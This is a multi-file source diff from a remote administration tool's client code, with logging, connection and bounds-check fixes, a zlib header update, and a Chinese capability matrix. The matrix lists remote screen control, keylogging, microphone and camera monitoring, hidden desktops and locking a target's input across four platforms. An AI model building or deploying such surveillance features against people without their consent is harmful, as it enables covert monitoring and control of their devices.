// 不是「转移主机」用的 COMMAND_ASSIGN_MASTER(207);Windows 客户端的 case 把两者
|
||||
// 并在一起、靠 buf[1] 的类型字节区分,这里同样两个都收。和「转移主机」的区别:
|
||||
// 转移改的是本实例的主连接,分享另起一条通往目标主控的连接,主连接原样保留。
|
||||
// 转移改的是本实例的主连接(收包后立刻断开、重连到新主控,老主控那边随即离线),
|
||||
// 分享另起一条通往目标主控的连接,主连接原样保留。
|
||||
// Windows 侧是同一进程里再起一个 ClientApp 线程(client/KernelManager.cpp、
|
||||
// client/ClientDll.cpp 的 m_bShared 分支);Linux 侧由主实例 fork+exec 出一个
|
||||
// 分享子进程,复用同一份登录/心跳/命令处理代码。
|
||||
|
||||
@@ -17,6 +17,7 @@
|
||||
namespace HostTransfer {
|
||||
|
||||
using HostEndpoint::Endpoint;
|
||||
using HostEndpoint::FitsConnAddress;
|
||||
using HostEndpoint::ParseTransport;
|
||||
using HostEndpoint::ParseHeaderEnc;
|
||||
using HostEndpoint::ApplyEndpoint;
|
||||
@@ -28,7 +29,8 @@ struct Target {
|
||||
long long validTo; // <= 0 表示无效
|
||||
|
||||
Target() : validTo(0) {}
|
||||
bool Valid() const { return !ep.ip.empty() && ep.port > 0 && validTo > 0; }
|
||||
// 端点容量由 FitsConnAddress 守住:记录里存的是外部输入,直接 ApplyTarget 会越界。
|
||||
bool Valid() const { return FitsConnAddress(ep) && validTo > 0; }
|
||||
bool Active(long long now) const { return Valid() && now <= validTo; }
|
||||
};
|
||||
|
||||
@@ -54,7 +56,9 @@ inline bool ParseAssignCommand(const unsigned char* buf, unsigned long len,
|
||||
Target t;
|
||||
t.ep.ip = v[0];
|
||||
t.ep.port = atoi(v[1].c_str());
|
||||
if (t.ep.ip.empty() || t.ep.port <= 0 || t.ep.port > 65535)
|
||||
// 长度/端口范围都要挡住:服务端只限制整条载荷不超过 250 字节,地址本身可以顶到
|
||||
// CONNECT_ADDRESS::szServerIP[100] 之外,写进 g_SETTINGS 时就是堆栈/全局越界。
|
||||
if (!FitsConnAddress(t.ep))
|
||||
return false;
|
||||
|
||||
double days = atof(v[2].c_str());
|
||||
|
||||
+30
-6
@@ -17,6 +17,8 @@
|
||||
#endif
|
||||
|
||||
#include <iostream>
|
||||
#include <cstdio> // fputs/fflush/stderr:macOS 的 mirrorStderr 把每行日志同步写 stderr
|
||||
#include <cstring> // strrchr:getFileName 不依赖调用方先包含 <string.h>
|
||||
#include <fstream>
|
||||
#include <mutex>
|
||||
#include <queue>
|
||||
@@ -77,6 +79,20 @@ public:
|
||||
snprintf(buf, sizeof(buf), "%d", (int)getpid());
|
||||
instance.pid = buf;
|
||||
instance.enable = false;
|
||||
#elif defined(__APPLE__)
|
||||
// macOS:只保留内存 ring + stderr,不另建日志文件。
|
||||
// - ring 是服务端「运行日志」菜单的数据源:COMMAND_QUERY_LOG →
|
||||
// TOKEN_REPORT_LOG,见 common/ClientLogHandler.h;
|
||||
// - stderr 已被 macos/main.mm 重定向到 /tmp/ghost.log(daemon 与 App
|
||||
// bundle 两种启动方式都做),那是现场唯一日志文件,再往
|
||||
// ~/.config/ghost 写一份只会让两边对不上。
|
||||
// 此前 macOS 的 Mprintf 是 NSLog/fprintf,从不经过 Logger,ring 永远是
|
||||
// 空的 —— 服务端点「运行日志」打开后一个字都没有,就是这个原因。
|
||||
char buf[16] = {};
|
||||
snprintf(buf, sizeof(buf), "%d", (int)getpid());
|
||||
instance.pid = buf;
|
||||
instance.enable = false;
|
||||
instance.mirrorStderr = true;
|
||||
#else // Linux
|
||||
char buf[16] = {};
|
||||
snprintf(buf, sizeof(buf), "%d", (int)getpid());
|
||||
@@ -166,6 +182,14 @@ public:
|
||||
logEntry.pop_back();
|
||||
logEntry += '\n';
|
||||
|
||||
// macOS:把同一行镜像到 stderr,也就是 /tmp/ghost.log。ring 只留最近
|
||||
// kMemLogMax 条,而现场排查往往要往前翻,两边保持完全相同的文本(含前缀和
|
||||
// 时间戳),对照时不必换算。
|
||||
if (mirrorStderr) {
|
||||
fputs(logEntry.c_str(), stderr);
|
||||
fflush(stderr);
|
||||
}
|
||||
|
||||
// Always record to in-memory ring buffer regardless of enable flag.
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||
@@ -262,6 +286,7 @@ private:
|
||||
}
|
||||
std::string logFileName; // 日志文件名
|
||||
bool enable; // 是否启用
|
||||
bool mirrorStderr = false; // macOS:每行同时镜像到 stderr(/tmp/ghost.log)
|
||||
bool threadRun; // 日志线程状态
|
||||
std::queue<std::string> logQueue; // 日志队列
|
||||
std::mutex queueMutex; // 队列互斥锁
|
||||
@@ -383,15 +408,14 @@ inline const char* getFileName(const char* path)
|
||||
#elif defined(_WIN32)
|
||||
#define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__)
|
||||
#elif defined(__APPLE__)
|
||||
// macOS: 使用 NSLog 输出到系统日志(可通过 Console.app 查看)
|
||||
// macOS:与 Linux 一样写 Logger —— 内存 ring 供服务端「运行日志」菜单取回
|
||||
// (COMMAND_QUERY_LOG → TOKEN_REPORT_LOG),Logger 初始化时置 mirrorStderr,
|
||||
// 同一行再落到 stderr,也就是 /tmp/ghost.log。不要改回 NSLog/fprintf:那样
|
||||
// ring 永远为空,菜单打开后没有任何内容。
|
||||
#ifdef Mprintf
|
||||
#undef Mprintf
|
||||
#endif
|
||||
#ifdef __OBJC__
|
||||
#define Mprintf(format, ...) NSLog(@"%@", [NSString stringWithFormat:@(format), ##__VA_ARGS__])
|
||||
#else
|
||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||
#endif
|
||||
#define Mprintf(format, ...) Logger::getInstance().log(getFileName(__FILE__), __LINE__, format, ##__VA_ARGS__)
|
||||
#elif defined(__ANDROID__)
|
||||
#include <android/log.h>
|
||||
#include <cstdarg>
|
||||
|
||||
@@ -47,6 +47,18 @@ inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnR
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter %s [%p]\n", threadName, clientAddr);
|
||||
|
||||
// 传输协议必须显式喂进去,否则子连接与主连接走的不是同一条路:
|
||||
// Linux/macOS 的 IOCPClient 不带 m_conn,ConnectServer 里协议来源是
|
||||
// m_defaultProto(默认 -1 = 明文 TCP)。主连接在 main 里已 SetDefaultProto
|
||||
// (macos/main.mm / linux/main.cpp),子连接漏掉这一步时,配成 WS/WSS 的客户端
|
||||
// 会出现「主连接正常、所有子连接静默按明文直连」——经反代/HTTP 代理接入时,
|
||||
// 明文 TCP 在到达主控之前就被丢掉,服务端连一条 [ConnAuth] 都看不到,
|
||||
// 而客户端只会卡在 "[ConnAuth] 等待响应超时"。见 main.mm 里同一段注释。
|
||||
ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||||
Mprintf(">>> %s: proto=%d (%s:%d)\n", threadName,
|
||||
(int)(unsigned char)g_SETTINGS.protoType,
|
||||
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
|
||||
// 子连接:开启 auth。Linux/macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||
|
||||
@@ -61,8 +73,19 @@ inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnR
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
} else {
|
||||
// createHandler 返回 nullptr = 本机侧初始化失败(如 macOS 无录屏权限)。
|
||||
// 子连接已经建立、鉴权也已通过,这里不关掉的话它会一直挂着,服务端那边
|
||||
// 表现为「子连接在线但永远不发首包」,而客户端日志里原本一个字都没有。
|
||||
Mprintf("*** %s: handler init failed, dropping sub-connection ***\n", threadName);
|
||||
}
|
||||
} else if (S_CLIENT_NORMAL == g_bExit) {
|
||||
// 只有 g_bExit 仍是 NORMAL 时才算真失败(TCP 连接、握手、ConnAuth 任一环节,
|
||||
// ConnectServer 内部已各自打过具体原因)。这里补一条归属明确的收尾日志,
|
||||
// 否则「子连接没建起来」在日志里只剩一行 Leave,无从判断卡在哪一步。
|
||||
Mprintf("*** %s: ConnectServer failed ***\n", threadName);
|
||||
}
|
||||
// g_bExit 已置位 = 客户端正在退出,子连接没建起来是预期行为,不打错误日志。
|
||||
Mprintf(">>> Leave %s [%p]\n", threadName, clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** %s exception: %s ***\n", threadName, e.what());
|
||||
|
||||
+10
-1
@@ -499,6 +499,10 @@ typedef uLong FAR uLongf;
|
||||
|
||||
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
|
||||
# define Z_LFS64
|
||||
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && \
|
||||
!defined(UNDER_CE) && (defined(__MINGW32__) || !defined(__GNUC__))
|
||||
# define Z_LFS64 /* native Windows has 64-bit file offsets */
|
||||
# define Z_WINLFS
|
||||
#endif
|
||||
|
||||
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
|
||||
@@ -516,7 +520,7 @@ typedef uLong FAR uLongf;
|
||||
#endif
|
||||
|
||||
#ifndef z_off_t
|
||||
# define z_off_t long long
|
||||
# define z_off_t long
|
||||
#endif
|
||||
|
||||
#if !defined(_WIN32) && defined(Z_LARGE64)
|
||||
@@ -531,6 +535,11 @@ typedef uLong FAR uLongf;
|
||||
# define z_off64_t z_off_t
|
||||
#endif
|
||||
|
||||
#if defined(Z_WINLFS) && defined(Z_WANT64) && !defined(Z_SOLO)
|
||||
# undef z_off_t
|
||||
# define z_off_t z_off64_t
|
||||
#endif
|
||||
|
||||
/* MVS linker does not support external names larger than 8 bytes */
|
||||
#if defined(__MVS__)
|
||||
#pragma map(deflateInit_,"DEIN")
|
||||
|
||||
+44
-33
@@ -1,5 +1,5 @@
|
||||
/* zlib.h -- interface of the 'zlib' general purpose compression library
|
||||
version 1.3.2, February 17th, 2026
|
||||
version 1.4, November 4th, 2026
|
||||
|
||||
Copyright (C) 1995-2026 Jean-loup Gailly and Mark Adler
|
||||
|
||||
@@ -41,11 +41,11 @@
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define ZLIB_VERSION "1.3.2"
|
||||
#define ZLIB_VERNUM 0x1320
|
||||
#define ZLIB_VERSION "1.4"
|
||||
#define ZLIB_VERNUM 0x1400
|
||||
#define ZLIB_VER_MAJOR 1
|
||||
#define ZLIB_VER_MINOR 3
|
||||
#define ZLIB_VER_REVISION 2
|
||||
#define ZLIB_VER_MINOR 4
|
||||
#define ZLIB_VER_REVISION 0
|
||||
#define ZLIB_VER_SUBREVISION 0
|
||||
|
||||
/*
|
||||
@@ -696,7 +696,9 @@ ZEXTERN int ZEXPORT deflateCopy(z_streamp dest,
|
||||
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being Z_NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
destination. If deflateCopy fails and dest is not Z_NULL, then dest->state
|
||||
is set to Z_NULL with dest otherwise unchanged, so that deflateEnd(dest) can
|
||||
be called safely, though dest is not a usable stream.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateReset(z_streamp strm);
|
||||
@@ -769,17 +771,17 @@ ZEXTERN uLong ZEXPORT deflateBound(z_streamp strm, uLong sourceLen);
|
||||
ZEXTERN z_size_t ZEXPORT deflateBound_z(z_streamp strm, z_size_t sourceLen);
|
||||
/*
|
||||
deflateBound() returns an upper bound on the compressed size after
|
||||
deflation of sourceLen bytes. It must be called after deflateInit() or
|
||||
deflateInit2(), and after deflateSetHeader(), if used. This would be used
|
||||
to allocate an output buffer for deflation in a single pass, and so would be
|
||||
called before deflate(). If that first deflate() call is provided the
|
||||
sourceLen input bytes, an output buffer allocated to the size returned by
|
||||
deflateBound(), and the flush value Z_FINISH, then deflate() is guaranteed
|
||||
to return Z_STREAM_END. Note that it is possible for the compressed size to
|
||||
be larger than the value returned by deflateBound() if flush options other
|
||||
than Z_FINISH or Z_NO_FLUSH are used.
|
||||
deflation of sourceLen bytes. It must be called after deflateInit() or
|
||||
deflateInit2(), and after deflateSetHeader() or deflateSetDictionary(), if
|
||||
used. This would be used to allocate an output buffer for deflation in a
|
||||
single pass, and so would be called before deflate(). If that first
|
||||
deflate() call is provided the sourceLen input bytes, an output buffer
|
||||
allocated to the size returned by deflateBound(), and the flush value
|
||||
Z_FINISH, then deflate() is guaranteed to return Z_STREAM_END. Note that it
|
||||
is possible for the compressed size to be larger than the value returned by
|
||||
deflateBound() if flush options other than Z_FINISH or Z_NO_FLUSH are used.
|
||||
|
||||
delfateBound_z() is the same, but takes and returns a size_t length. Note
|
||||
deflateBound_z() is the same, but takes and returns a size_t length. Note
|
||||
that a long is 32 bits on Windows.
|
||||
*/
|
||||
|
||||
@@ -789,7 +791,7 @@ ZEXTERN int ZEXPORT deflatePending(z_streamp strm,
|
||||
/*
|
||||
deflatePending() returns the number of bytes and bits of output that have
|
||||
been generated, but not yet provided in the available output. The bytes not
|
||||
provided would be due to the available output space having being consumed.
|
||||
provided would be due to the available output space having been consumed.
|
||||
The number of bits of output not provided are between 0 and 7, where they
|
||||
await more bits to join them in order to fill out a full byte. If pending
|
||||
or bits are Z_NULL, then those values are not set.
|
||||
@@ -869,8 +871,7 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm,
|
||||
instead. windowBits must be greater than or equal to the windowBits value
|
||||
provided to deflateInit2() while compressing, or it must be equal to 15 if
|
||||
deflateInit2() was not used. If a compressed stream with a larger window
|
||||
size is given as input, inflate() will return with the error code
|
||||
Z_DATA_ERROR instead of trying to allocate a larger window.
|
||||
size is given as input, inflate() may return with a Z_DATA_ERROR.
|
||||
|
||||
windowBits can also be zero to request that inflate use the window size in
|
||||
the zlib header of the compressed stream.
|
||||
@@ -980,7 +981,9 @@ ZEXTERN int ZEXPORT inflateCopy(z_streamp dest,
|
||||
inflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being Z_NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
destination. If inflateCopy fails and dest is not Z_NULL, then dest->state
|
||||
is set to Z_NULL with dest otherwise unchanged, so that inflateEnd(dest) can
|
||||
be called safely, though dest is not a usable stream.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT inflateReset(z_streamp strm);
|
||||
@@ -1095,9 +1098,10 @@ ZEXTERN int ZEXPORT inflateGetHeader(z_streamp strm,
|
||||
a terminating zero. If any of extra, name, or comment are not present in
|
||||
the header, then that field's pointer is set to Z_NULL. This allows the use
|
||||
of deflateSetHeader() with the returned structure to duplicate the header.
|
||||
Note that if those fields initially pointed to allocated memory, then the
|
||||
application will need to save them elsewhere so that they can be eventually
|
||||
freed.
|
||||
Though take care that none of the fields were truncated before so using it,
|
||||
lest havoc ensue. Note that if those fields initially pointed to allocated
|
||||
memory, then the application will need to save them elsewhere so that they
|
||||
can be eventually freed.
|
||||
|
||||
If inflateGetHeader is not used, then the header information is simply
|
||||
discarded. The header is always checked for validity, including the header
|
||||
@@ -1394,8 +1398,8 @@ ZEXTERN gzFile ZEXPORT gzopen(const char *path, const char *mode);
|
||||
errno can be checked to determine if the reason gzopen failed was that the
|
||||
file could not be opened. Note that if 'N' is in mode for non-blocking, the
|
||||
open() itself can fail in order to not block. In that case gzopen() will
|
||||
return NULL and errno will be EAGAIN or ENONBLOCK. The call to gzopen() can
|
||||
then be re-tried. If the application would like to block on opening the
|
||||
return NULL and errno will be EAGAIN or EWOULDBLOCK. The call to gzopen()
|
||||
can then be re-tried. If the application would like to block on opening the
|
||||
file, then it can use open() without O_NONBLOCK, and then gzdopen() with the
|
||||
resulting file descriptor and 'N' in the mode, which will set it to non-
|
||||
blocking.
|
||||
@@ -1501,9 +1505,12 @@ ZEXTERN z_size_t ZEXPORT gzfread(voidp buf, z_size_t size, z_size_t nitems,
|
||||
gzfread() returns the number of full items read of size size, or zero if
|
||||
the end of the file was reached and a full item could not be read, or if
|
||||
there was an error. gzerror() must be consulted if zero is returned in
|
||||
order to determine if there was an error. If the multiplication of size and
|
||||
nitems overflows, i.e. the product does not fit in a z_size_t, then nothing
|
||||
is read, zero is returned, and the error state is set to Z_STREAM_ERROR.
|
||||
order to determine if there was an error. If some data was read before an
|
||||
error, then that data is returned until exhausted, after which the next call
|
||||
will return zero and gzerror() will report the error. If the multiplication
|
||||
of size and nitems overflows, i.e. the product does not fit in a z_size_t,
|
||||
then nothing is read, zero is returned, and the error state is set to
|
||||
Z_STREAM_ERROR.
|
||||
|
||||
In the event that the end of file is reached and only a partial item is
|
||||
available at the end, i.e. the remaining uncompressed data length is not a
|
||||
@@ -1569,7 +1576,7 @@ ZEXTERN int ZEXPORTVA gzprintf();
|
||||
these possibilities can be determined using zlibCompileFlags().
|
||||
|
||||
If a Z_BUF_ERROR is returned, then nothing was written due to a stall on
|
||||
the non-blocking write destination.
|
||||
the non-blocking write destination. The operation can be retried.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzputs(gzFile file, const char *s);
|
||||
@@ -1677,7 +1684,9 @@ ZEXTERN z_off_t ZEXPORT gzseek(gzFile file,
|
||||
gzseek returns the resulting offset location as measured in bytes from
|
||||
the beginning of the uncompressed stream, or -1 in case of error, in
|
||||
particular if the file is opened for writing and the new starting position
|
||||
would be before the current position.
|
||||
would be before the current position, or if the resulting position would
|
||||
not be representable in the offset type. If gzseek returns -1, the stream
|
||||
position is unchanged.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzrewind(gzFile file);
|
||||
@@ -1778,7 +1787,8 @@ ZEXTERN const char * ZEXPORT gzerror(gzFile file, int *errnum);
|
||||
If errnum is not NULL, *errnum is set to zlib error number. If an error
|
||||
occurred in the file system and not in the compression library, *errnum is
|
||||
set to Z_ERRNO and the application may consult errno to get the exact error
|
||||
code.
|
||||
code. The error is reported by gzerror() as soon as it is detected, which
|
||||
may be before all of the data read prior to the error has been returned.
|
||||
|
||||
The application must not modify the returned string. Future calls to
|
||||
this function may invalidate the previously returned string. If file is
|
||||
@@ -1972,7 +1982,8 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
|
||||
* change the regular functions to 64 bits if _FILE_OFFSET_BITS is 64 (if
|
||||
* both are true, the application gets the *64 functions, and the regular
|
||||
* functions are changed to 64 bits) -- in case these are set on systems
|
||||
* without large file support, _LFS64_LARGEFILE must also be true
|
||||
* without large file support, _LFS64_LARGEFILE must also be true, except on
|
||||
* native Windows, where 64-bit offsets are always available
|
||||
*/
|
||||
#ifdef Z_LARGE64
|
||||
ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *);
|
||||
@@ -2029,7 +2040,7 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
|
||||
|
||||
#endif /* !Z_SOLO */
|
||||
|
||||
/* undocumented functions */
|
||||
/* undocumented functions (not part of the zlib API) */
|
||||
ZEXTERN const char * ZEXPORT zError(int);
|
||||
ZEXTERN int ZEXPORT inflateSyncPoint(z_streamp);
|
||||
ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table(void);
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,179 @@
|
||||
# 客户端能力矩阵
|
||||
|
||||
以 Windows 客户端为基线,对比 Linux、macOS、Android 客户端的实现情况。表中所有主表行在 Windows 列均为 ✓;其他平台按实际代码判断,不做推测。
|
||||
|
||||
- 依据:各平台客户端源码(`client/`、`linux/`、`macos/`、`android/app/src/main/`)与登录能力位(`common/commands.h` 的 `DefaultCaps()`),代码基线 `main@d9fe93f`(2026-11-19)。
|
||||
- `linux/README.md` 里的「未实现」清单部分已过时(例如开机自启已由 `install.sh` 实现),以本表为准。
|
||||
- 图例:✓ 已实现;△ 部分实现或依赖运行环境;— 未实现。
|
||||
- 服务端侧功能(主机列表、备注/分组、上线提醒、授权管理界面、MCP、Web 控制台等)不在本表范围。
|
||||
|
||||
## 一、连接与传输
|
||||
|
||||
| 功能 | Windows | Linux | macOS | Android |
|
||||
|---|:---:|:---:|:---:|:---:|
|
||||
| TCP 直连 | ✓ | ✓ | ✓ | ✓ |
|
||||
| WebSocket / WSS 传输(出包时选择) | ✓ | ✓ | ✓ | ✓ |
|
||||
| TLS 加密传输 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 子连接 ConnAuth 身份校验 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 断线自动重连 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 心跳与活动窗口上报 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 服务端修改分组 | ✓ | ✓ | ✓ | ✓ |
|
||||
| UDP / KCP / HTTP 伪装传输 | ✓ | — | — | — |
|
||||
| 并发上线(多实例并行) | ✓ | — | — | — |
|
||||
| 远程切换传输协议(TCP/WS/WSS) | ✓ | — | — | — |
|
||||
| 客户端 ID 重建(克隆机撞 ID) | ✓ | — | — | — |
|
||||
| 分享主机 / 取消分享 | ✓ | ✓ | — | — |
|
||||
| 转移主机(到期自动复原) | ✓ | ✓ | ✓ | ✓ |
|
||||
|
||||
说明:
|
||||
- 分享/转移:Android 实现转移、不实现分享(收到分享命令会回“不支持”);macOS 同样只实现转移(收包即迁移主连接,记录存 `~/.config/ghost/config.conf` 的 `transfer` 键,连不上目标满 60 秒且连续失败 3 次后退回原主控),分享命令回“不支持”。
|
||||
- **WebSocket/WSS 是“出包能力”,不是“运行时切换能力”**:四个平台的网络层(`IOCPClient` + `WsChannel.h`)都实现了 WS/WSS,生成客户端时把「协议」选为 WebSocket 或 WS+TLS 即可,客户端启动后按烘焙的 `protoType` 连接(需经反向代理入口;WSS 还需内嵌或在线下发的信任锚)。但运行时的「协议切换」菜单走 `COMMAND_SET_PROTO`,只有 Windows 客户端处理该命令并声明 `CLIENT_CAP_PROTO_SWITCH`;其他平台该菜单整组置灰,菜单里勾选 TCP 只是当前实际连接的传输,不代表客户端只能走 TCP。
|
||||
- UDP/KCP/HTTP 伪装传输:只有 Windows 客户端有对应实现;Linux/macOS/Android 的网络层只处理 TCP/WS/WSS,出包时选其他协议不会生效。
|
||||
- 并发上线(`RUNNING_PARALLEL`)只有 Windows 客户端实现;其他平台按单实例运行。
|
||||
- 客户端 ID 重建同样仅 Windows 处理。
|
||||
- TLS:macOS 复用 `client/TlsChannelLinux.cpp`,实机验证仍待补;Android/Linux 已随 TLS 开关使用。
|
||||
|
||||
## 二、远程桌面
|
||||
|
||||
| 功能 | Windows | Linux | macOS | Android |
|
||||
|---|:---:|:---:|:---:|:---:|
|
||||
| 实时屏幕查看 | ✓ | ✓ | ✓ | ✓ |
|
||||
| H.264 编码与关键帧请求 | ✓ | ✓ | ✓ | △ |
|
||||
| 画质档位下发(自适应/固定档) | ✓ | ✓ | ✓ | ✓ |
|
||||
| 帧率设置(`CMD_FPS`) | ✓ | — | — | ✓ |
|
||||
| 远程桌面调优 / 硬编码 / SSE2 | ✓ | — | — | — |
|
||||
| 鼠标/键盘注入 | ✓ | ✓ | ✓ | △ |
|
||||
| 剪贴板同步 | ✓ | ✓ | ✓ | △ |
|
||||
| 剪贴板文件同步(复制文件/路径) | ✓ | ✓ | ✓ | — |
|
||||
| 锁定目标键鼠 | ✓ | — | — | ✓ |
|
||||
| 隐私屏幕(独立桌面) | ✓ | — | — | — |
|
||||
| 多显示器整桌面捕获 | ✓ | △ | — | — |
|
||||
| 切换显示器 | ✓ | — | — | — |
|
||||
| 黑白屏幕(灰度传输) | ✓ | ✓ | ✓ | — |
|
||||
| 区域/窗口级截图 | ✓ | — | — | — |
|
||||
| 全屏 / 远程光标视图偏好 | ✓ | ✓ | — | — |
|
||||
| 滚动优化 / 多线程压缩 | ✓ | — | — | — |
|
||||
| RDP 会话归位 / 虚拟桌面重置 / 窗口切换 | ✓ | — | — | — |
|
||||
| 自定义光标 | ✓ | — | — | — |
|
||||
| 屏幕缩略图预览 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 远程音频监听 | ✓ | — | — | ✓ |
|
||||
| 远程摄像头 | ✓ | — | — | ✓ |
|
||||
| 键盘记录 | ✓ | — | — | — |
|
||||
| 即时消息/远程交谈 | ✓ | — | — | ✓ |
|
||||
| 远程画板 | ✓ | — | — | — |
|
||||
|
||||
说明:
|
||||
- 剪贴板:Windows/Linux/macOS 支持读取与写入;Android 只处理服务端下发的“写入并粘贴”,不支持读取设备剪贴板。
|
||||
- 剪贴板文件同步:Windows/Linux/macOS 在剪贴板里是文件时返回文件清单/内容(`COMMAND_GET_FOLDER` / `COMMAND_GET_FILE`),Android 没有文件剪贴板协议。
|
||||
- 缩略图预览:Linux 需有可截图的 X11 会话,macOS 需已授予录屏权限,Android 需无障碍服务与 API 30+;条件不满足时客户端不声明对应能力位,服务端会提前拒绝。
|
||||
- 画质配置表(`CMD_QUALITY_PROFILES`)仅 Windows/Android 处理;Linux/macOS 只处理单档 `CMD_QUALITY_LEVEL`。
|
||||
- 关键帧请求(`COMMAND_SCREEN_KEYFRAME_REQ`):Windows/Linux/macOS 处理(Web 屏幕墙恢复用);Android 未处理该命令,只在注入手势后主动请求 IDR。
|
||||
- 鼠标/键盘注入:Windows/Linux/macOS 是完整键鼠注入;Android 把鼠标映射为触摸手势,只支持 Back/Home/Apps/截图/粘贴等少量按键,没有通用键盘注入。
|
||||
- 帧率设置:Android 处理 `CMD_FPS`;`CMD_SCREEN_TUNING` 在 Android 上是显式 no-op,`COMMAND_ENCODE_LEVEL`(硬编码选择)只有 Windows 处理。
|
||||
- 多显示器:Windows 支持整桌面捕获和按显示器切换;Linux 总是抓 X root(含所有显示器),不能按显示器选择;macOS 只抓主显示器。
|
||||
- 全屏/远程光标:Windows 与 Linux 会把主控端的视图偏好落盘并在下次打开时上报;macOS/Android 没有这两个偏好命令。
|
||||
- 黑白屏幕(灰度传输):Windows/Linux/macOS 处理 `ALGORITHM_GRAY`;Android 没有该算法,收到后会忽略灰度标志。
|
||||
- RDP 会话归位/虚拟桌面重置/窗口切换:均为 Windows 屏幕子连接命令,其他平台没有对应实现。
|
||||
- 键盘记录仅在 Windows 客户端实现(支持实时与离线落盘、清除);其他平台没有输入钩子。
|
||||
- 远程音频为单向麦克风监听(Windows/Android);双向语音对讲/麦克风回传未实现(评估后放弃)。Windows 的音频开关支持持久化(`CMD_AUDIO_CTRL`),Android 不支持。
|
||||
- 远程摄像头:Windows 支持压缩开关与分辨率调整;Android 固定 1280×720@8fps JPEG。
|
||||
- Android 的锁定键鼠、黑屏遮罩、锁屏(映射 `GLOBAL_ACTION_LOCK_SCREEN`)都依赖无障碍服务,客户端按运行时状态追加 `PRIVACY_OVERLAY` / `LOCK_SCREEN` 能力位;Windows 无锁屏/黑屏对应行,故未列入主表。
|
||||
|
||||
## 三、文件管理
|
||||
|
||||
| 功能 | Windows | Linux | macOS | Android |
|
||||
|---|:---:|:---:|:---:|:---:|
|
||||
| 磁盘/目录浏览 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 上传/下载 | ✓ | ✓ | ✓ | ✓ |
|
||||
| V2 文件传输通道 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 断点续传 | ✓ | — | — | — |
|
||||
| 删除/重命名/新建目录 | ✓ | ✓ | ✓ | ✓ |
|
||||
| 文件搜索 | ✓ | — | — | ✓ |
|
||||
| 压缩/解压 | ✓ | — | — | — |
|
||||
| 客户端间 C2C 文件直传 | ✓ | △ | △ | — |
|
||||
| 客户端间 C2C 剪贴板文本 | ✓ | △ | △ | — |
|
||||
| 文件复制/粘贴 / 属性 / 最近文件 / 网上邻居 / 远程打开 / 强制删除 | ✓ | — | — | — |
|
||||
| 文件加密/解密(经典文件管理器) | ✓ | — | — | — |
|
||||
| 插件文件管理(SimplePlugins) | ✓ | — | — | — |
|
||||
|
||||
说明:
|
||||
- 断点续传:仅 Windows 客户端处理 `COMMAND_FILE_QUERY_RESUME` / `COMMAND_FILE_RESUME`;其他平台走 V2 普通传输,不响应续传查询。
|
||||
- C2C 文件:Windows 支持发送(`CLIENT_CAP_C2C_PATHS`)与接收(`COMMAND_C2C_PREPARE/_RESP`);Linux/macOS 只做接收端并在落盘后回执(`CLIENT_CAP_C2C_RECV_ACK`);Android 未实现。C2C 需要收发两端能力配合,单端具备能力不等于任意两平台之间都能直传。
|
||||
- C2C 剪贴板文本(`COMMAND_C2C_TEXT`):Windows 能发送也能接收;Linux/macOS 只处理接收端(服务端下发文本后写入本机剪贴板,Linux 需要 `xclip`/`xsel`);Android 未实现。
|
||||
- 文件复制/粘贴、属性、最近文件、网上邻居、远程打开、强制删除:Windows 经典文件管理器的扩展命令;Linux/macOS/Android 的 V2 文件管理只提供目录浏览与增删改,没有这些入口。
|
||||
- 文件加密/解密:Windows 客户端处理 `COMMAND_FILE_Encryption` / `COMMAND_FILE_Decrypt`;其他平台没有对应实现。
|
||||
- 插件文件管理(SimplePlugins):Windows 的「实验功能 → 文件管理」走 `COMMAND_FILE_MANAGER_PLUGIN`;其他平台没有该插件入口。
|
||||
|
||||
## 四、系统管理
|
||||
|
||||
| 功能 | Windows | Linux | macOS | Android |
|
||||
|---|:---:|:---:|:---:|:---:|
|
||||
| 进程列表 | ✓ | ✓ | ✓ | △ |
|
||||
| 结束进程 | ✓ | ✓ | ✓ | △ |
|
||||
| 进程冻结/解冻/删除 | ✓ | — | — | — |
|
||||
